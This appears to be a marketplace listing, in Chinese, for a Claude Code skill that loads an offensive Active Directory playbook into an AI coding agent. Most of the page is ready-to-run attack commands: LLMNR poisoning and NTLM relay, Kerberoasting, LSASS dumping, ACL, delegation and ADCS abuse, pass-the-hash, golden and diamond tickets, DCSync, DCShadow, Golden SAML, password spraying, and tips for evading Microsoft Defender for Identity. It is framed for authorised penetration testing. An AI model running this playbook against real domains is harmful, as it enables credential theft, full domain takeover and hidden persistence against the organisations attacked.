mcpField
O
offensive-active-directory

offensive-active-directory

github.com/snailsploit安全9.7k179 次安装2 周前更新
代码仓库

关于 offensive-active-directory

面向授权安全评估人员的 Active Directory 攻防测试方法清单,覆盖侦察、凭据获取、权限提升、横向移动和持久化,并提供命令示例与检查要点。

主要功能

  1. 01离线与在线目录侦察
  2. 02凭据获取与 Kerberos 攻击
  3. 03ACL、委派与 ADCS 权限提升
  4. 04横向移动与持久化
  5. 05混合身份与检测规避要点

适用场景

  1. 01规划 Active Directory 渗透测试步骤
  2. 02检查域内权限提升与信任路径
  3. 03记录安全评估中的攻击链

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-active-directory

安装后在 Claude Code 中输入/offensive-active-directory确认已加载。

详细介绍

Active Directory — 攻击性测试方法

快速工作流

  1. 离线侦察 AD 结构(BloodHound、ADExplorer 快照)——尽量减少实时查询
  2. 通过投毒、Kerberoasting、ASREProast 或在允许的情况下从 LSASS 获取凭据
  3. 绘制通往 Domain Admin / Enterprise Admin / Tier 0 的攻击路径
  4. 选择检测成本最低的路径执行,并在每个跳点进行验证
  5. 建立持久化,并记录每项操作及其时间戳

侦察

BloodHound 数据收集
# SharpHound (CSharp collector) — most stealthy with throttling
SharpHound.exe -c All,GPOLocalGroup --Throttle 1000 --Jitter 30 --ZipFileName recon.zip

# Stealth collection (DC-only, avoids workstation noise)
SharpHound.exe -c DCOnly --Stealth

# Bloodhound.py from Linux (no Windows host needed)
bloodhound-python -d corp.local -u user -p pass -ns 10.0.0.1 -c All
PowerView(不投放工具)
# Domain enumeration without binaries
$d = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
Get-DomainUser -SPN | Select samaccountname,serviceprincipalname
Get-DomainComputer -Unconstrained
Get-DomainGPO | ?{$_.gpcmachineextensionnames -match "Restricted Groups"}
Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs |
  ?{$_.ActiveDirectoryRights -match 'WriteDacl|GenericAll|WriteOwner'}
离线使用 ADExplorer
# Take snapshot from any low-priv user, analyze offline
ADExplorer.exe → File → Create Snapshot
# Convert to BloodHound format
ADExplorerSnapshot.py snapshot.dat -o output/

凭据获取

LLMNR / NBT-NS / mDNS 投毒
# Capture NetNTLMv2 hashes from broadcast resolution
responder -I eth0 -wrf

# Inveigh (Windows-side, when you have a foothold)
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTP Y

使用 hashcat 的模式 5600 破解。如果破解失败,则改用中继。

NTLM 中继
# Identify relay targets (no SMB signing, LDAP signing not required)
nxc smb 10.0.0.0/24 --gen-relay-list relay-targets.txt

# Relay to LDAP/LDAPS for ACL abuse, ADCS for cert request
impacket-ntlmrelayx -tf relay-targets.txt -smb2support \
  --escalate-user attacker --delegate-access

# Relay to ADCS Web Enrollment (ESC8) — requires HTTP endpoint up
impacket-ntlmrelayx -t http://ca/certsrv/certfnsh.asp \
  --adcs --template DomainController
Kerberoasting
# Request TGS for all SPN-bearing accounts
Rubeus.exe kerberoast /outfile:tgs.txt /nowrap
# AES-only accounts (harder to crack but worth attempting)
Rubeus.exe kerberoast /aes /outfile:tgs_aes.txt
# Cross-platform from Linux
impacket-GetUserSPNs corp.local/user:pass -dc-ip 10.0.0.1 -request
hashcat -m 13100 tgs.txt rockyou.txt -r OneRuleToRuleThemAll.rule
ASREProasting
# Find users with DONT_REQUIRE_PREAUTH set
impacket-GetNPUsers corp.local/ -usersfile users.txt -dc-ip 10.0.0.1 -no-pass
hashcat -m 18200 asrep.txt rockyou.txt
LSASS / SAM 转储
:: Modern, AV-friendly: comsvcs.dll minidump
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID> C:\out.dmp full

:: Task Manager → lsass.exe → Create dump file (GUI route, no binary drop)

:: nanodump (handle duplication, no MiniDumpWriteDump)
nanodump.exe --pid <PID> -w lsass.dmp --valid

使用 Mimikatz 或 pypykatz 离线解析:

pypykatz lsa minidump lsass.dmp

AD 内的权限提升

ACL 滥用
权限滥用方式
GenericAll / GenericWrite添加 SPN → Kerberoast;重置密码;添加成员
WriteDacl授予自己 DCSync 权限,然后执行 DCSync
WriteOwner获取所有权 → 授予权限 → 利用
AllExtendedRights(用户)强制更改密码
AllExtendedRights(域)DCSync
AddMember将自己添加到特权组
WriteSPN设置 SPN,对目标执行 kerberoast
# Targeted Kerberoast (write SPN, roast, remove SPN)
Set-DomainObject -Identity victim -Set @{serviceprincipalname='fake/SPN'}
Rubeus.exe kerberoast /user:victim
Set-DomainObject -Identity victim -Clear serviceprincipalname

# Grant DCSync via WriteDacl
Add-DomainObjectAcl -TargetIdentity 'DC=corp,DC=local' \
  -PrincipalIdentity attacker -Rights DCSync
Kerberos 委派
# Find delegation
Get-DomainComputer -Unconstrained
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth

# Unconstrained → wait for / coerce DC auth, capture TGT
Rubeus.exe monitor /interval:5 /nowrap

# Constrained (S4U2self/S4U2proxy) — impersonate any user to allowed SPN
Rubeus.exe s4u /user:svc_acct /rc4:<hash> /impersonateuser:Administrator \
  /msdsspn:cifs/dc.corp.local /ptt

# Resource-Based Constrained Delegation (RBCD) — write msDS-AllowedToActOnBehalfOfOtherIdentity
# Requires GenericAll/GenericWrite on the target computer object
强制认证原语
技术工具 / RPC
PetitPotamMS-EFSRPC(EfsRpcOpenFileRaw、EfsRpcEncryptFileSrv)
PrinterBugMS-RPRN(RpcRemoteFindFirstPrinterChangeNotificationEx)
DFSCoerceMS-DFSNM(NetrDfsRemoveStdRoot)
ShadowCoerceMS-FSRVP
WebDAV在任意 Web 获取请求中嵌入 UNC 路径并进行查找替换
# Coerce + relay full chain
impacket-ntlmrelayx -t ldap://dc -smb2support --delegate-access &
PetitPotam.py -u low -p pass attacker-ip dc-ip
# Result: RBCD set, S4U → DA on coerced machine
GPO 滥用
# Find GPOs you can edit
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs |
  ?{ $_.SecurityIdentifier -eq (Get-DomainUser current).objectsid `
     -and $_.ActiveDirectoryRights -match 'WriteProperty|WriteDacl' }

# SharpGPOAbuse — add scheduled task / immediate task to GPO
SharpGPOAbuse.exe --AddComputerTask --TaskName Update --Author NT\System \
  --Command cmd.exe --Arguments "/c net group 'Domain Admins' attacker /add /domain" \
  --GPOName "Workstation Policy"

ADCS 滥用 — ESC1 至 ESC15

枚举
certipy find -u [email protected] -p pass -dc-ip 10.0.0.1 -vulnerable -stdout
常见错误配置
ID错误配置利用方式
ESC1Client Auth + ENROLLEE_SUPPLIES_SUBJECT请求包含任意 UPN 的证书
ESC2Any Purpose EKU请求可用于任意用途的证书
ESC3Enrollment Agent请求代理证书,然后代表任意用户操作
ESC4存在漏洞的模板 ACL修改模板以构成 ESC1
ESC6CA 上启用 EDITF_ATTRIBUTESUBJECTALTNAME2在任何模板上注入 SAN
ESC7存在漏洞的 CA ACL(ManageCA)批准自己的待处理请求
ESC8Web Enrollment 使用 HTTP + 未启用 EPANTLM 中继 → 证书
ESC9无安全扩展 + UPN重命名帐户后进行 UPN 欺骗
ESC10StrongCertificateBindingEnforcement 设置较弱无需重命名即可进行 UPN 欺骗
ESC11RPC 未受保护(未设置 ICertPassage IF_ENFORCEENCRYPTICERTREQUEST)通过 RPC 中继
ESC13与组关联的颁发策略证书授予组成员身份
ESC14可写入 altSecurityIdentities将攻击者证书映射到管理员
ESC15EKUwu — 架构 v1 模板在请求时注入 EKU
ESC1 利用
# Request cert as Administrator
certipy req -u [email protected] -p pass -ca CORP-CA -template VulnTemplate \
  -upn [email protected]

# Use cert to get TGT and NT hash via UnPAC-the-Hash
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.1
ESC8(Web Enrollment 中继)
# Coerce any DC, relay to ADCS Web Enrollment, request DC cert
impacket-ntlmrelayx -t http://ca/certsrv/certfnsh.asp \
  --adcs --template DomainController &
PetitPotam.py attacker-ip dc.corp.local
# Result: cert for DC$ → TGT → DCSync

横向移动

Pass-the-Hash / Overpass-the-Hash
# PTH with NT hash
nxc smb 10.0.0.0/24 -u admin -H <NThash> --local-auth
impacket-psexec corp/admin@target -hashes :<NThash>

# Overpass-the-Hash (NT hash → TGT, useful for Kerberos-only targets)
Rubeus.exe asktgt /user:admin /rc4:<NThash> /ptt
Pass-the-Ticket
# Inject TGT
Rubeus.exe ptt /ticket:base64.kirbi
# Or from .ccache
KRB5CCNAME=admin.ccache impacket-secretsdump -k -no-pass dc.corp.local
隐蔽横向移动工具
# WinRM (no event logs in default channel for command exec)
evil-winrm -i target -u admin -H <hash>

# SMB exec without service creation (uses task scheduler)
impacket-atexec corp/admin@target -hashes :<hash> "whoami"

# WMI
impacket-wmiexec corp/admin@target -hashes :<hash>

# DCOM (MMC20.Application, ShellWindows, ShellBrowserWindow)
Invoke-DCOM -ComputerName target -Method MMC20 -Command "calc.exe"

持久化

Golden Ticket(伪造 krbtgt)
# Requires krbtgt NT hash (from DCSync)
impacket-ticketer -nthash <krbtgt-NT> -domain-sid S-1-5-21-... -domain corp.local Administrator
KRB5CCNAME=Administrator.ccache impacket-psexec -k -no-pass dc.corp.local
Silver Ticket(按服务伪造)
# Forge TGS for a specific service using its account hash
impacket-ticketer -nthash <svc-NT> -domain-sid <SID> -domain corp.local \
  -spn cifs/server.corp.local Administrator
Diamond / Sapphire Ticket(现代方法,可规避针对 krbtgt 的 MDI)
# Diamond — modify legitimate TGT in-flight (no krbtgt hash on wire)
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512
DCSync
impacket-secretsdump -just-dc-user 'corp/krbtgt' corp/admin@dc -hashes :<hash>
# In-memory PowerShell variant (Mimikatz)
Invoke-Mimikatz -Command '"lsadump::dcsync /user:krbtgt"'
DCShadow(注册恶意 DC,推送更改)
mimikatz # !+
mimikatz # !processtoken
mimikatz # lsadump::dcshadow /object:CN=victim,... /attribute:primaryGroupID /value:519
mimikatz # lsadump::dcshadow /push
AdminSDHolder

添加 ACE,授予你的帐户对 CN=AdminSDHolder,CN=System,DC=corp,DC=local 的 GenericAll 权限。SDProp 每 60 分钟将其传播到所有受保护组。


林与信任攻击

# Map trusts
Get-DomainTrust -SearchBase "DC=corp,DC=local"
Get-ForestTrust

# SID History injection (cross-forest if SID filtering disabled)
# ExtraSids in golden ticket → admin in trusted forest
impacket-ticketer -nthash <krbtgt> -domain-sid <child-SID> \
  -extra-sid S-1-5-21-<parent>-519 -domain child.corp.local Administrator

# Trust ticket forging (inter-realm TGT)
Rubeus.exe asktgs /service:krbtgt/parent.local /ticket:trust-ticket.kirbi

混合 AD / Entra ID (Azure AD) 枢轴

枢轴路径
AAD Connect 服务被攻陷转储 MSOL_ 账户 → 在本地执行 DCSync
无缝 SSO为 AZUREADSSOACC$ 伪造 Kerberos 票据 → 以任意用户身份使用云 SSO
PTA 代理劫持 Microsoft.Azure.SecurityTokenService DLL → 获取明文
PHS 哈希同步从 AAD Connect SQL(ADSync DB)读取本地哈希
联合信任使用被盗的 ADFS 令牌签名证书伪造 SAML 令牌(Golden SAML)
Pass-the-PRT从设备窃取 PRT Cookie → 以该用户身份建立云会话
# AADInternals — Hybrid identity attack toolkit
Get-AADIntADSyncCredentials  # Extract MSOL_ creds from AAD Connect
Open-AADIntOffice365Portal -AccessToken $token
New-AADIntSAMLToken -ImmutableID 'a==' -Issuer 'http://sts/adfs/services/trust' \
  -PfxFileName 'token-signing.pfx'

规避检测(MDI / Defender for Identity)

MDI 检测器规避方式
Honeytoken 账户访问访问账户前,务必检查 description 和近期活动
通过 SAMR 进行侦察仅使用 ADWS / LDAP 收集,并限制频率
可疑的 Kerberos 委派避免在受监控的 DC 上执行容易引起注意的 S4U2self 链
Golden/Silver Ticket 检测使用 Diamond/Sapphire 变体;匹配合法的票据有效期/加密方式
来自非 DC 的 DCSync通过具有合法复制权限的账户中继
Pass-the-Hash使用 overpass-the-hash,在横向移动前转换为 Kerberos
# Identify MDI sensors before noisy actions
Get-DomainComputer -SPN '*MicrosoftATA*'
Get-DomainComputer | ?{ $_.servicePrincipalName -match 'AATPSensor' }

行动速查表

# 1. Anonymous LDAP enum (no creds)
ldapsearch -x -H ldap://dc -s base -b "" "(objectclass=*)"
nxc ldap dc -u '' -p '' --users

# 2. Null SMB session
nxc smb dc -u '' -p '' --shares
impacket-rpcclient -U '' dc -no-pass

# 3. Password spray (low and slow)
nxc smb dc -u users.txt -p 'Winter2025!' --continue-on-success

# 4. Once authed: full enum + BloodHound
bloodhound-python -d corp.local -u user -p pass -ns dc -c All --zip

# 5. Identify attack path → execute → loot → persist

关键参考资料

评论

支持 Markdown